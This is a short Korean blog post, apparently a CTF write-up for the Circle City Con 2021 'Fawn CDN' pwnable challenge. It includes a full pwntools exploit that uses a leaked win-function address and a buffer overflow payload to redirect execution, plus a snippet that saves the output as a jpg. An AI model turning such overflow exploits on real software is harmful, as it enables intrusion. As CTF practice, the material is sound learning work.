Pwnable
2021 Circle City Con CTF
Rasser
2021. 6. 12. 02:51
728x90
f = open('tmp.jpg', 'w')
tmp = p.recvuntil('1. List files.')
f.write(tmp)
f.close()
pwnable
win까지 호출하는데는 성공했지만
저부분에서 fwrite가 호출되면
이런 값이 나오는데 이 값을 jpg로 변환하는 것을 못하겠다..
+++++++++++++++++++++++++++++++++++++++++++++++
2021.06.19에 추가한 내용
[Circle City Con CTF 2021 : pwnable] [Baby] Fawn CDN 풀이 (overwriting)
문제 풀이 환경 : ubuntu 18.04 사용 툴 : IDA 7.5 pro Analysis Check Mitigation Execution & Code 1번 메뉴를 선택하면 무슨 주소를 출력해 준다. 이 주소는 IDA에서 확인한 결과, win함수의 주소임을 알 수..
jiravvit.tistory.com
위 블로그에서 해답을... 찾았다
위에서 찾은 fwrite 이후의 값을 전부 jpg로 바로 쓰면 나오는...
다 찾아놓고 저기서 막혀서 못푼 문제..
실제로 내가 작성했던 exploit
from pwn import *
p = remote('35.224.135.84', 1001)
e = ELF('./fawncdn')
libc = e.libc
#gdb.attach(p)
p.sendlineafter('cmd> ', str(1))
p.recvuntil('at ')
leak_addr = (int(p.recvuntil('"')[:-1], 16))
leak_libc = hex(leak_addr - (e.sym.win))
#print(type(leak_addr))
payload = b"A"*0x20
payload += b"B"*0x8
payload += p64(leak_addr)
p.sendlineafter(b'cmd> ', payload)
p.sendlineafter(b'cmd> ', str(3))
p.interactive()
~
이상태로 출력하면 위 처럼 fwrite로 출력된 값이 나오는데, 그대로 입력 받아서
다음과 같이 추가하면 바로 나왔던 문제
f = open('tmp.jpg', 'w')
tmp = p.recvuntil('1. List files.')
f.write(tmp)
f.close()
728x90